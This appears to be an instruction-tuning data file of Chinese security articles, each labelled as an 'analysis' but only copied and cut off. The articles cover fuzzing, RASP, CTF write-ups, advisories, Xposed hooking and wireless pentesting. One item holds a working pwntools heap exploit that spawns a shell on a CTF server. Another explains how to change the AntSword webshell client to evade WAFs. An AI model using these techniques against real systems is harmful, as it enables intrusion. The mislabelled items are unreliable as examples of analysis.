Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

原文：<https://gamozolabs.github.io/fuzzing/2018/10/18/terrible_android_fuzzer.html>
译者注：原作者的文风比较活泼，所以，上车前，请各位做好相应的心理准备。
**免责声明**
* * *
请读者注意，这里讨论的安全问题并不是通用的Android漏洞，而是只影响某种型号的设备，所以，这些漏洞的危害程度都是有限的。另外，本文旨在为读者介绍如何亲自编写一个简陋的Android
fuzzer，然后设法加以改进，而不是为了严肃地讨论Android的安全性问题。
**代码下载地址**
* * *
[Slime Tree Repo ](https://github.com/gamozolabs/slime_tree "Slime Tree Repo
")
**简介**
* * *
在本文中，我们首先会动手打造一款简陋的Android fuzzer，然后进行改进，从而享受不断进步的喜悦之情。
在进行Android设备模糊测试时，我们需要做的第一件事就是获取手机上的设备列表，从而找出可以访问的设备。这很简单，对吧？为此，我们可以进入/dev目录，并运行ls
-l命令，然后，从中查找所有用户都具有读或写权限的设备即可。嗯...对于selinux，情况并非如此，因为它还要求我们对selinux的策略有所了解才行。
为了解决这个问题，让我们先从最简单的地方下手：编写一个程序，只要求它能够在要挖掘漏洞的上下文中运行即可。该程序的功能非常简单，列出手机上的所有文件，并尝试打开它们，以进行读写操作。这样，我们就能得到一个列表，其中包含了我们在手机上有权打开的所有文件/设备。在本文中，我们将使用adb
shell，因此，我们是在`u:r:shell:s0`上下文中运行。
**遍历所有文件**
* * *
好吧，我想要快速遍历手机上的所有文件，并判断自己是否对其具有读写权限。这件事情并不太难，完全可以通过Rust来实现。
    /// Recursively list all files starting at the path specified by `dir`, saving
    /// all files to `output_list`
    fn listdirs(dir: &Path, output_list: &mut Vec<(PathBuf, bool, bool)>) {
        // List the directory
        let list = std::fs::read_dir(dir);
        if let Ok(list) = list {
            // Go through each entry in the directory, if we were able to list the
            // directory safely
            for entry in list {
                if let Ok(entry) = entry {
                    // Get the path representing the directory entry
                    let path = entry.path();
                    // Get the metadata and discard errors
                    if let Ok(metadata) = path.symlink_metadata() {
                        // Skip this file if it's a symlink
                        if metadata.file_type().is_symlink() {
                            continue;
                        }
                        // Recurse if this is a directory
                        if metadata.file_type().is_dir() {
                            listdirs(&path, output_list);
                        }
                        // Add thi...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# OpenRASP学习笔记

##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.引言
最近看了看OpenRASP（JAVA版），而网上关于OpenRASP已有一些文章，但纸上得来终觉浅，自己阅读一番再另外写篇文章，也还行，算是总结算是笔记。如文中有错误，还望同学们指出，十分感谢。
## 2.阅读前准备工作
一开始还需要将open-rasp安装到Tomcat，这里按照官方文档指引即可。
###  2.1编译
**编译V8引擎**
笔者在这里花了半天时间，一度十分懵逼，不懂C++编译这块的东西，按照官方文档来弄又不得行。
笔者的编译环境
    Debian 4.9.18 (kali)
    OpenJDK 1.8
    gcc version 8.3.0
编译获取v8引擎jar包：
    curl -L  https://github.com/Kitware/CMake/releases/download/v3.15.3/cmake-3.15.3-Linux-x86_64.tar.gz | tar zx -C /tmp
    export PATH=/tmp/cmake-3.15.3-Linux-x86_64/bin:$PATH
    git clone https://github.com/baidu-security/openrasp-v8.git
    ~/openrasp-v8# mkdir -p openrasp-v8/build64 && cd openrasp-v8/build64
    ~/openrasp-v8/openrasp-v8# cmake -DCMAKE_BUILD_TYPE=RelWithDebInfo -DENABLE_LANGUAGES=java ..
    ~/openrasp-v8/openrasp-v8# make
    ~/openrasp-v8/openrasp-v8# mkdir -p ../java/src/main/resources/natives/linux_64 && cp java/libopenrasp_v8_java.so $_
    ~/openrasp-v8/java# mvn install
**编译项目**
本文使用的是`1.3.4`版本。
Injellij IDEA打开 \openrasp-master\agent\java
Help > Find Action ，输入并打开 `Maven Project`
由于V8是在虚拟机上编译的，不在本地物理机的maven仓库中，需要先将其加入仓库
    mvn install:install-file -Dfile=D:\share\v8-1.0-SNAPSHOT.jar -DgroupId=com.baidu.openrasp -DartifactId=v8 -Dpackaging=jar -Dversion=1.0-SNAPSHOT
编译`rasp-boot`
由于`rasp-engine`依赖`rasp-boot`，所以需要将`rasp-boot`加入到maven仓库中
    mvn install:install-file -Dfile=D:\turn1tup\program_java\RASP\openrasp\agent\java\boot\target\rasp-boot-1.3.4-shaded.jar -DgroupId=com.baidu.openrasp -DartifactId=rasp-boot -Dpackaging=jar -Dversion=1.3.4
同样操作编译`rasp-engine`即可。
**Debug**
Windows下，在Tomcat的catalina.bat的open-rasp配置后添加一行JDWP配置：
    if "%ACTION%" == "start" set JAVA_OPTS="-javaagent:%CATALINA_HOME%\rasp\rasp.jar" %JAVA_OPTS%
    if "%ACTION%" == "start" set JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,address=1043,server=y,suspend=y %JAVA_OPTS%
IDEA中将编译后的JAR包加入到项目Libraries，随后配置远程调试
断点打到程序最开始执行的地方，从最开始的地方看起。
openrasp\agent\java\boot\src\main\java\com\baidu\openrasp\Agent.java
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## 前言
本人有意写一份系列文章，主要内容是分享蚁剑改造过程中的一些技巧与经验。
因为蚁剑的相关文档实在比较少，可能很多同学都像自己当初一样想要二次开发可是不知如何下手。
不敢贸然称之为教程，只是把改造的过程发出来供大家借鉴，希望其他同学能够少走弯路。
  * [蚁剑改造计划之实现动态秘钥编码器解码器](https://xz.aliyun.com/t/6571)
  * [蚁剑改造计划之基于随机Cookie的动态秘钥编码器](https://xz.aliyun.com/t/6917)
  * [蚁剑改造计划之增加垃圾数据](https://xz.aliyun.com/t/7126)
## 正文
### 历史遗留问题
我在前面几篇文章提到过，蚁剑一直有一个硬伤就是它对于其他参数的处理仅仅是一层base64。这就导致了不管怎么对主payload加密，WAF只要分析到其他的参数就能知道你在做什么。
例如你在执行cmd的时候，就一定会发送一个经过base64编码的cmd字符串，这就留下了一个被WAF识别的特征。
即使是蚁剑编码器仓库中的aes编码器也只是对主payload加了密，防护方在不需要解密主payload的情况下只要看到其他参数传的什么内容就能推测攻击者的行为。
yan表哥曾经在公众号中的[WAF拦了蚁剑发送的其它参数时怎么操作](https://mp.weixin.qq.com/s/ai3dW8H_ZnlFMPo-pgoqZw)文章中给出了一种解决方案。主要思想就是在不修改主payload的情况下，配合客户端额外再把它加密解密一遍。
可以是可以，但是很麻烦，对于普通的shell不具有适用性。
这篇文章的目的就是解决掉这个历史遗留问题。
### 随机化方式的选择
想要从根本上解决问题就要修改核心payload，那么怎么改呢？
以前师傅们的文章提出过两个方法，一种是把其他参数base64两次，还有一种是在其他参数前面加两个随机字符，然后主payload中再把它给substr截掉，来打乱base64的解码。
如果方法是写死的话，无非只是WAF增加两条规则而已。蚁剑这么有名的项目，一定是防火墙商眼中紧盯的目标。最好的解决办法就是加入一个用户可控的参数，能够让用户自定义修改。这样才有可能最大程度的逃过WAF的流量查杀。
所以本文采用的方法就是在每个第三方参数前，加入用户自定义长度的随机字符串，来打乱base64的解码。
这时，如果WAF不能获得主payload中用户预定义的偏移量，也就无法对其他参数进行解密。此时我们的强加密型编码器才能真正起到作用。
### 具体实现
思路
    获取用户预定义前缀偏移量->修改核心payload模版->给其他参数前增加随机字符串
前端的话首先写一个text框，来获取用户的输入
在`\source\core\base.js`中定义randomPrefix变量
在`\source\modules\settings\adefault.js`中设置默认值
然后后端就可以通过`opts.otherConf["random-Prefix"]`来获取用户定义的随机前缀的长度值。
修改模版前要简单了解一下蚁剑对于参数的处理流程
在各类型shell的模版文件中，会定义默认的payload以及他们所需要的参数，还有对于参数的编码方式。
`source\core\php\template\filemanager.js`
在获取到模版之后，parseTemplate会对其中的参数进行提取、解析、组合，形成要发送的payload
`source\core\base.js`
所以我们要把用户预定义的前缀偏移量传入到两个地方：
（1）核心payload模版
（2）其他参数的组合模块
在核心payload中，我们将要修改的偏移量用`#randomPrefix#`进行标记，到parseTemplate函数组合最终数据包的时候将其替换。
然后定义一个新类型的编码处理器`newbase64`，在模板中修改对于参数的处理函数。
    /**
           * 增加随机前缀的base64编码
           * @param  {String} str 字符串
           * @return {String}     编码后的字符串
           */
          newbase64(str) {
            let randomString=(length)=>{
              let chars='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 德国35C3混沌通信大会——IoT相关议题解读
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
又到了辞旧迎新的季节，然而每个国家庆祝隆重的开端与结尾的方式总是有所不同。就在刚过去的圣诞节与元旦前夕，这座黑客的安全岛——德国的时尚之都莱比锡，正聚集着无数来自世界各地的技术与艺术的狂热爱好者，用自己的方式庆祝着这一神圣时刻。
## 1\. 关于德国C3混沌通信大会
这就是从84年开始盛行的CCC（Chaos Communication Congress）大会，也称作混沌通信大会。因为正值第35届，所以也称为35c3。
这是一场很德国的会议，现场不光技术爱好者，艺术、伦理以及科学的设想都会在大会中呈现，如同一顿德国盛宴，在脆皮肘子与香肠拼盘后一定少不了地道的德国黑啤。这场大会拥护安全，对一切技术创造与社会运作持怀疑态度，互相争论，辩驳，迸发出无数的创新火花。
那么今年的混沌大会又有什么精彩亮点呢，下面由我们360独角兽团队的几位小伙伴带领大家解读几个IoT相关的精彩议题。
## 2.议题解读
### 2.1 供应链中的硬件植入(Modchips of the State)
解读人：@yyf
概要
在该议题中，作者Trammell
Hudson介绍了前段时间非常有热度的“彭博社报道中国间谍芯片”事件，并对利用SPI总线进行硬件植入的可行性进行了自己的测试。
议题内容
议题伊始，作者详细讨论了彭博社报告的间谍芯片事件。18年10月4日，彭博社旗下的《彭博商业周刊》发布一篇深度报道称，包括苹果、亚马逊等近30家美国科技企业所使用的服务器，可能被植入了微型恶意芯片，中方可以秘密访问这些企业的内网。
Trammell Hudson 对各方的回应做出了自己解读。据演讲者介绍， NSA
就有一个关于硬件植入物的列表，比如JTAG植入物、以太网口植入物等，可以将数据通过射频的方式对外传出。
针对Supermicro回应声称的“媒体报道的植入方式在技术上是难以置信的，相关评论人员完全缺乏设计知识”，其表示了反对意见。表示不仅 NSA
可以做到，他自己也能做到。
主板上的BMC SPI Flash 通过serial output与BMC
CPU连接，这其中经过了一个小的串联电阻，作者就在这个地方插入了他的植入物来完成攻击。
虽然由于针脚的原因带来了一些限制，但依然能做到一些事情，比如可以通过观察数据流来重建时钟，以及将比特位“1”转变为“0”等。
在BMC Flash的结构中，NVRAM区域是一个JFS2文件系统，大部分区域都是空的，填满了代表空的“FF”。
通过该区域特殊的头部信息，我们便能确定目前所在的位置。
结合以上提到的几点，我们可以定位在特定的空白区域来插入数据，而这块区域实际上属于网络配置脚本，将在网络配置时触发。
介绍了大致原理后，作者通过qemu搭建模拟环境做了现场演示。如下图所示，左侧是Flash控制台，右侧是BMC的串口控制台。
当最终执行到配置网络时，将读取位于NVRAM区域的脚本。由于此时该区域的数据已经被替换了，于是执行了自定义的命令。
也可以直接在BMC上获得一个root权限的shell。
对于该类的间谍植入问题，作者认为最终的解决方案是：No More Secrets，采用开源的硬件、开源的固件（如LinuxBoot）。
点评
彭博社爆出的新闻已经被业内外各方人士判断为一次博眼球性质的炒作事件。虽然演讲者通过使用体积较大的FPGA实现了类似彭博社报道中类似的效果。但实际上，在目前几乎不可能制作出一个足够小，而且能塞进信号耦合器的FPGA，或者其他有相同计算能力的芯片。
虽然议题的假设成分高了些，不过这并不妨碍其是一个讨论供应链硬件植入的良好案例，感兴趣的朋友可以到此链接查看完整的演讲视频：
https://media.ccc.de/v/35c3-9597-modchips_of_the_state
### 2.2 智能灯泡破解（Smart Home Smart Hack）
解读人：@lighting
议题内容
作者首先指出了现在智能家居所面临的一个普遍的安全问题：很多硬件，云以及软件开发都是被个别IoT芯片厂商垄断以及高度封装好的，可能不同牌子的智能硬件只不过是贴牌外壳不同，这就导致一个潜在的安全漏洞可能威胁数以万计的甚至是不同品牌的智能硬件。
作者针对智能家居中一个很简单的家具智能灯泡切入，具体阐明了上述问题。尽管智能灯泡功能简单，但是即使简单到只有开关的智能硬件仍然存在巨大的安全风险。作者深扒了智能灯泡的工作原理，电路结构，鉴权认证以及固件升级的流程，而后实现了几个方面攻击。
智能灯泡的硬件电路上预留了一些测试接口可以供固件的读取和写入，作者开发了相应的脚本可以读取智能灯泡...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

**作者：xxhzz@星阑科技PortalLab
原文链接：<https://mp.weixin.qq.com/s/3DECgzKcovoCQcdZLGXCzA>**
## **前言**
在研究分析了CVE-2022-22980 Spring Data MongoDB
SpEL表达式注入漏洞之后，想起之前在spring4shell爆出之前，存在于SpringCloud
Function中的一个SpEL表达式注入漏洞，编号为CVE-2022-22963。在这里对其进行一波分析和学习。
## **漏洞描述**
Spring Cloud Function 是基于 Spring Boot
的函数计算框架。该项目致力于促进函数为主的开发单元，它抽象出所有传输细节和基础架构，并提供一个通用的模型，用于在各种平台上部署基于函数的软件。在Spring
Cloud Function 相关版本，存在SpEL表达式注入。恶意攻击者无需认证可通过构造特定的 HTTP 请求头注入 SpEL
表达式，最终执行任意命令，获取服务器权限。
## **利用范围**
3.0.0 <= Spring Cloud Function <= 3.2.2
## **漏洞分析**
#### **环境搭建**
使用idea新建Spring Cloud Function项目。
pom.xml中引入spring-boot-starter-web、spring-cloud-function-web
在application.properties中添加spring.cloud.function.definition=functionRouter
这里设置端口为8090，默认为8080
运行之后，环境搭建完成。
#### **前置知识**
**SpringCloud Function 相关介绍**
简单的介绍，Spring Cloud 是一系列框架的集合，
内部包含了许多框架，这些框架互相协作，共同来构建分布式系统。利用这些组件，可以非常方便地构建一个分布式系统。SpringCloudFunction就是一个SpringBoot开发的Servless中间件（FAAS）。
在环境搭建时，我们在application.properties中添加spring.cloud.function.definition=functionRouter
这里的属性spring.cloud.function.definition 表示声明式函数组合，简单理解就是一个默认路由。具体可参考如下说明。
**functionRouter**
我们设置spring.cloud.function.definition=functionRouter就是使默认路由绑定具体函数交由用户进行控制。
在spring-cloud-function-web中可以通过设置Message
Headers来传达路由指令，也可以路通过spring.cloud.function.definition
或spring.cloud.function.routing-expression作为应用程序属性进行通信，允许使用 Spring 表达式语言
(SpEL)。
这就是产生SpEL注入的关键所在。
#### **动态分析**
在理解了前置知识中相关原理，其实也就能大概知晓漏洞原理。
查看DIFF（<https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f>） 记录。
看到从请求头中获取的 spring.cloud.function.routing-expression
之前是由StandardEvaluationContext 解析，修复新增了 isViaHeader 变量做了一个判断，如果是从请求头中获取的
spring.cloud.function.routing-expression 值，使用 SimpleEvaluationContext 解析。
在spring.cloud.function.context.catalog.simpleFunctionRegistry#doApply中。
在执行function apply方法之后，会跳转到doApply中，对funtion进行判断，判断是不是functionRouter方法。
后续跟进，进入spring.cloud.function.context.config.Routingfunction#route
进入else if 分支， http头spring.cloud.function.routing-expression
不为空，则传入其值...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 【CTF攻略】FlappyPig HCTF2016 Writeup
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：**[ **FlappyPig**
****](http://bobao.360.cn/member/contribute?uid=1184812799)
**预估稿费：600RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆 **[
**网页版**](http://bobao.360.cn/contribute/index)** 在线投稿**
**Flip**
**一．本题是一个linux下的qt程序。**
主要分成三个部分
1.一个多阶Flip game
2.一个三阶错乱的Flip game
3.一个内存中执行的三阶Flip game,执行操作由第二个游戏的步子有关。
**二．第一关游戏很简单，从主对角线开始一直走对角线即可。**
或者爆破406035这个位置
**三．第二关是一个错位的Flip game**
所谓的错乱就是错乱了逻辑，例如一个正常的3*3 Flip逻辑为
1 2 3 1 3 2
4 5 6 错乱之后为 7 9 8
7 8 9 4 6 5
第二关最多只能有7步，超过7步就算失败
所以需要遍历出第二关所有的走法
所有可能如下
    [1, 3, 2, 9, 4, 5, 3]
    [1, 3, 2, 9, 5, 3, 4]
    [1, 3, 2, 9, 5, 4, 3]
    [1, 7, 4, 9, 2, 5, 7]
    [1, 7, 4, 9, 5, 2, 7]
    [1, 7, 4, 9, 5, 7, 2]
    [2, 1, 7, 4, 9, 5, 7]
    [2, 7, 9, 4, 5, 7, 1]
    [2, 7, 9, 5, 4, 7, 1]
    [2, 9, 7, 4, 5, 7, 1]
    [2, 9, 7, 5, 4, 7, 1]
    [3, 4, 9, 2, 5, 3, 1]
    [3, 4, 9, 5, 2, 3, 1]
    [3, 9, 2, 5, 3, 1, 4]
    [3, 9, 5, 2, 3, 1, 4]
    [4, 1, 3, 2, 9, 5, 3]
    [4, 3, 9, 2, 5, 3, 1]
    [4, 3, 9, 5, 2, 3, 1]
    [4, 9, 3, 2, 5, 3, 1]
    [4, 9, 3, 5, 2, 3, 1]
    [7, 2, 9, 4, 5, 7, 1]
    [7, 2, 9, 5, 4, 7, 1]
    [7, 9, 4, 5, 7, 1, 2]
    [7, 9, 5, 4, 7, 1, 2]
    [9, 3, 2, 5, 3, 1, 4]
    [9, 3, 5, 2, 3, 1, 4]
    [9, 7, 4, 5, 7, 1, 2]
    [9, 7, 5, 4, 7, 1, 2]
**四 **．** 过了第二关之后出现一个flag提交窗口，submit的按钮事件位于sub_407170**
判断输入的长度是不是为32之后调用函数sub_406a80
在sub_406a80中会根据第二关的步骤，去解码第三关的执行步骤。
第二关的走法会影响后续的走法解码（因为之前是直接爆破的所及在在这里卡了很久）。
第二关走的位置和对应的内存数据对应关系如下:
    1=>0，2=>2，3=>1，4=>6，5=>8，7=>3，9=>4
得到被分解之后的key，所谓分解就是
将输入的ascii分解，成两个字节的的表示，低位放低位高位放高位。
例如
    输入 1234
    Ascii  31 32 33 34
    分解  01 03 02 03 03 03 04 03
之后会判断key的后六位
最后六位为74343}
然后定位到分解后的key第一位和分解后key的倒数第七位，获取以后传入sub_406780,也就是game3_flip,最后从头部和尾部往中间逼近。
本题最主要的逻辑在函数sub_406780处
分析后函数如下
主要逻辑已经注释，就是传入a2,a3两个参数用来控制flip
game的起始状态，a4是解码后的game3_steps,在game3_steps中遇到0即进行判断是否灯全灭。
由于可以知道forword_char的第一位是8（h分解为08和06），那么可以推测第一步flip的初始状态为
FF FF 00 00 FF 00
00 00 00 或者 00 00 00
00 00 00 00 00 00
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

本质：产生的原因本质上是参数可知或可预测
防御：
1、加密参数：加密加盐，不可知，不可预测
忧虑，引入其他麻烦：一、数据分析困难
二、正常功能会受影响，比如url收藏
2、验证码：用户在确认操作
破解：只防止了用户不知情点击的情况，用户知情时也可以诱导点击
3、referer check：验证上一url，源检测
破解：一、诱导合理顺序产生合理源referer
二、有些应用可以自定义referer
忧虑：referer check不一定可用，有些应用禁止了（处于隐私考虑或其他）
辅助手段
4、token：增加一个随机参数 （问题：只是参数值随机、不可预测，还是参数名也有必要随机？
名也随机不好传参？），只有服务端与客户端知道的秘密（如可在cookie中也放置，对比与提交的参数（表单）中是否一致，具体应用场景具体设计）
缺陷：只防护单纯的csrf，当存在xss时，token也被获取
具体应用场景、业务可使用、适用的不同，有些简单设置，有些严格设置；设想如果可以token加密怎样？ 这几种都应用怎样？
但具体业务场景中不太现实，毕竟还需要为业务做数据分析、考虑用户体验等等；
so，具体应用、场景，具体分析、设计；
有不对的地方欢迎大家指正，谢谢


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 【漏洞预警】Ticketbleed：F5 BIG-IP设备TLS/SSL堆栈漏洞（CVE-2016-9244）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://filippo.io/Ticketbleed/>
译文仅供参考，具体内容表达以及含义原文为准。
Ticketbleed是F5 BIG-IP设备的TLS / SSL堆栈中的软件漏洞，允许远程攻击者一次提取高达31字节的未初始化内存。
这部分内存中可能包含来自其他连接的密钥或敏感数据。
它在情形和影响类似于Heartbleed漏洞。它的不同之处在于，它一次暴露31个字节，而不是64k，需要多次轮询执行攻击，并且它影响专有的F5
TLS堆栈，而不是OpenSSL。
**测试**
你可以在下面的网址中进行测试服务器是否受Ticketbleed影响（eg: example.com:443）
<https://filippo.io/Ticketbleed/>
当然，你也可以自己用脚本测试
<https://gist.github.com/FiloSottile/fc7822b1f5b475a25e58d77d1b394860>
**技术细节**
漏洞的关键点在于执行Session Tickets，Session Tickets是加速重复连接的一项恢复技术。
当客户端提供SessionID和Session Tickets时，服务器应回显SessionID以表示Session Tickets的接受。Session
ID的长度可以在1到31个字节之间。
即使Session ID再短，F5堆栈总是回显32字节的内存。提供1字节Sessio ID的攻击者将接收到31字节的未初始化内存信息。
**修复和缓解**
受影响的版本的完整列表可在[F5网站](https://support.f5.com/csp/article/K05121675)上找到。在本次公开披露时，并非所有版本都可以升级解决。
但是Session Tickets是可以完全缓解，这将仅导致恢复连接的性能降级。
以下方法配置是由F5提供的
1\. 登录到配置实用程序
2\. 在菜单上导航到本地流量>配置文件> SSL>客户端
3\. 将配置的选项从基本切换到高级
4\. 取消选中Session Ticket选项以禁用该功能
5\. 单击更新以保存更改
**互联网扫描结果**
通过修改版的zgrab进行互联网扫描
Vulnerable表示存在漏洞。
Accepted表示主机正常接受Session Tickets。
Rejected表示主机提供一个Session Ticket，但是当客户端尝试去使用它时将会被拒绝。
其他的主机不支持Session Tickets。
**发现和时间表**
这个问题是[Filippo Valsorda ](https://twitter.com/FiloSottile)和其他的
CloudFlare员工在调试客户问题的时候发现的。
10月20日 – 确定问题
10月20日 – 首次尝试联系F5
10月25日 – 与F5安全工程师联系
10月26日 – 提交报告
10月28日 – 报告由F5确认
11月13日 – 由F5确认的问题，安全影响尚未确认
11月14日 – Alexa top 1000扫描揭示两个易受攻击的主机，90天截止日期发布
11月16日 – 提供给F5的版本和配置详细信息
11月16日 – 由F5重现和确认的安全问题
1月17日 – F5分享CVE和K
1月26日 – 由于问题公开推到2月8日
2月7日 – 使用185.47.61.3进行互联网扫描
2月8日 – 披露政策的最后一天
2月8日 – 发布延迟
2月9日01:25 UTC – 协调公开披露


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 湖湘杯2019复赛Writeup

##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## pwn
###  HackNote
edit那边的strlen存在问题，如果一直输入接到下一个chunk的size地方，那就会出现new_len>old_len情况，可以下一次edit到size段，从而造成堆重叠，最后修改malloc_hook来getshell。但是长度不够，所以自写了个read后ret过去执行。
    from pwn import *
    #r=process('./HackNote')
    r=remote('183.129.189.62',11104)
    context(arch = 'amd64', os = 'linux')
    def gd():
        gdb.attach(r)
        pause()
    def add(size,content):
        r.sendlineafter('-----------------','1')
        r.sendlineafter('nput the Size:',str(size))
        r.sendafter('he Note:',content)
    def free(idx):
        r.sendlineafter('-----------------','2')
        r.sendlineafter('the Index of Note:',str(idx))
    def edit(idx,content):
        r.sendlineafter('-----------------','3')
        r.sendlineafter('Note',str(idx))
        r.sendafter('Input the Note:',content)
    fake=0x06CBC40
    free_hook=0x6CD5E8
    malloc_hook=0x6CB788
    sc=asm(shellcraft.sh())
    sc='''
    xor rdi,rdi
    push 0x6cbc40
    pop rsi
    push 0x100
    pop rbx
    push 0
    pop rax
    syscall
    push 0x6cbc40
    ret
    '''
    sc=asm(sc)
    print shellcraft.sh()
    print hex(len(sc))
    add(0xf8,p64(0)+p64(0xf1)+p64(fake-0x18)+p64(fake-0x10)+p64(0)*26+p64(0xf0))#0
    add(0xf8,'aaaan')#1
    add(0x38,'bbbbn')#2
    add(0x50,'ccccn')#3
    edit(0,'a'*0xf8)
    edit(0,p64(0xffffffffffffffff)+p64(0xf1)+p64(fake)+p64(fake+8)+p64(0)*26+p64(0xf0)+'x41'+'x01')
    free(1)
    add(0xf8,'aaaan')#1
    add(0x38,p64(malloc_hook-0xe-8)+'n')#4
    free(2)
    edit(4,p64(malloc_hook-0xe-8)+'n')
    add(0x38,p64(malloc_hook-0xe-8)+'n')#2
    add(0x38,'a'*6+p64(malloc_hook+8)+sc+'n')
    r.sendline('1')
    r.recvuntil('Input the Size:n')
    r.sendline('123')
    r.sendline(asm(shellcraft.sh()))
    r.interactive()
###  NameSystem
free那边的挨个向前有问题，18=19但19!=0
洞存在free时候，如果free18，这时候18=19，或者说，只要19存在，每次free，19不置零但是18=19.所以从而double
free，没有leak函数，所以考虑把free_got改掉成printf_plt来整，最后leak完后改system来getshell
    from pwn i...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

### 为什么有这文章？
前段时间用到点系统底层框架去HOOK安卓在JAVA层的流程函数，期间目标函数参数有简单类型也有复杂的数组参数，着实为HOOK时的传参头疼过一把，加上有个朋友之前也在某群问过相关的问题就组合当时网友给的提示自己来实现一次这个过程，顺便介绍下该框架插件的基本开发姿势，同时希望也可以为广大HOOK友们提供一点解决问题的根本办法。
### 需要些什么工具？具备些什么基本安卓开发知识？
上面说过用成熟的框架，现在在安卓上好用的扩展性框架不过两种：Xposed跟Cydia，由于本人只用过XPOSED框架所以在这篇文章中就用Xposed来给大家介绍使用，开发知识方面只要有基本的安卓经验皆可胜任，并没有什么技术含量。
### 怎么做？
一、HOOK 三要素：类对象、函数名、参数列表的获取。
二、构建XPOSED框架插件、编码完成测试。
这其中难点有两个，一个就是Xposed插件没开发过，网上的一些教程文章没有写得太详细，一些个小细节没有被重点提及导致一个小问题都要查找无数的资料，甚至还找不到问题所在，另一个就是网上示例都太过简单化，一般都用int\sting这种基本类型作为Demo，然而实际使用中难免会碰到一些稀奇古怪的函数参数，而没有经验的我们只能乱写一通，到最后只能不了了之，现在我想通过由浅入深的方式来记录下插件的开发过程，希望能为遇到这种情况的朋友们提供点小帮助吧。
### 动手：
一、HOOK JAVA层函数的三要素获取：
这其中目标类对象、函数名相信大家要拿到没有难度，问题的重点就在于函数的参数列表，在介绍插件开发步骤前，先来看看我们首要目标类及函数参数情况，截图如下：
目标类路径为： **aqcxbom.xposedhooktarget;**
函数名为： **helloWorld**
参数表： **int,string**
[
在 **xposedhooktarget** 的 **onCreate方法** 中调用输出
[
当前未hook前输出log前后如下：
[
我们要实现的目标是分别在前后调用输出入咱自己的日志信息，如下面两箭头所指：
[
### 二、插件开发步骤
好，明确了我们初步的目标后，现在咱来看看XPOSED框架插件开发步骤：
  1. 以 **provided 模式** 导入 lib 文件 XposedBridgeApi-54.jar（不参与编译到最终文件中）且用AS开发的你 **千万不要将其放在libs目录** 中，否则你会发现你的插件安装上却一直没有运行起来的尴尬情况（ **大坑一** ）。
  2. 在AndroidManifest.xml中添加框架信息。
    <application>
      <meta-data android:name="xposedmodule" android:value="true"/>
      <meta-data android:name="xposeddescription" android:value="这里填写模块说明信息"/>
      <meta-data android:name="xposedminversion" android:value="30"/>
      </application>
xposedminversion这一项非常重要，必须与JAR内版本一致，否则模块不能运行。(大坑二)
你可以用RAR等压缩工具打开XposedBridgeApi-XX.jar包，在assets\version文件中包含了该包的版本号，这个版本号正常情况下会与jar包名内的版本保持一致。
  1. 编写响应类并实现类`IXposedHookLoadPackage`接口`handleLoadPackage`函数方法：
在`handleLoadPackage`函数的`findAndHookMethod`方法我们要提供HOOK目标的信息，参数为(类全路径,当前的`CLASSLOADER`，`HOOK`的函数名，参数1类类型...参数N类类型,`XC_MethodHook`的回调)，具体代码如下：
    package aqcxbom.myxposed;
    import android.util.Log;
    import de.robv.android.xposed.IXposedHookLoadPackage;
    import de.robv.android.xposed.XC_MethodHook;
    import de.robv.android.xposed.XposedHelpers;
    import de.robv.android.xposed...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 【技术分享】通向内网的另一条路：记一次无线渗透测试实战
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：PegasusTeam && 天巡实验室**
某个深夜，洗漱完毕正要入睡时，邮件提醒“滴”的一声。深夜邮件到，一般意味着事情比较紧急。打开邮件，明天需要去客户那边做一次黑盒的无线渗透测试。
**1.信息收集**
早上10点抵达邮件中给的地址。跟客户碰了下面，听取了他们的需求及要看到的结果。找了一个休息室，打开我那新买的闪闪发黑的Thinkpad x1 准备干活了。
观察了下附近的热点，有两个特殊的：一个是带企业英文前缀的802.1X认证热点，另一个是同样前缀的开放式Guest网络。根据经验来看，802.1X认证为企业内部人员使用的，而Guest网络提供给访客使用。先暂时不对这两热点下手，寻找下是否存在能通关捷径——员工私自建立的热点。
这类员工为了方便手机上网私接在内网热点，为了便于共享给周围其他同事用，往往都没有采用过于复杂的密码，同时还存在被同事分享密码的风险。
**2.私建热点渗透**
开着修改版的WiFite扫描整栋楼，收集所有的无线热点信息，并且回传到云端；与此同时手机打开WiFi万能钥匙APP，检测是否存在有被分享密码的热点。
在低楼层一直没发现有钥匙标识，有些办公室不好太大直接抱着电脑进去。功夫不负爬楼人，终于在顶楼5楼的某个办公室门口发现了可使用共享秘钥连入的热点。连上后，直接直奔路由器后台，默认admin密码直接登录。
很遗憾，是个4G路由器。虽然能对网络内的用户进行中间人攻击获取信息，不过不到万不得已一般不这么干，因为这种方式拿到的成果一般不会被客户所认可。
**3.802.1x渗透**
逛了半天回到休息室歇歇脚的同时，做下针对802.1X认证的钓鱼攻击吧。
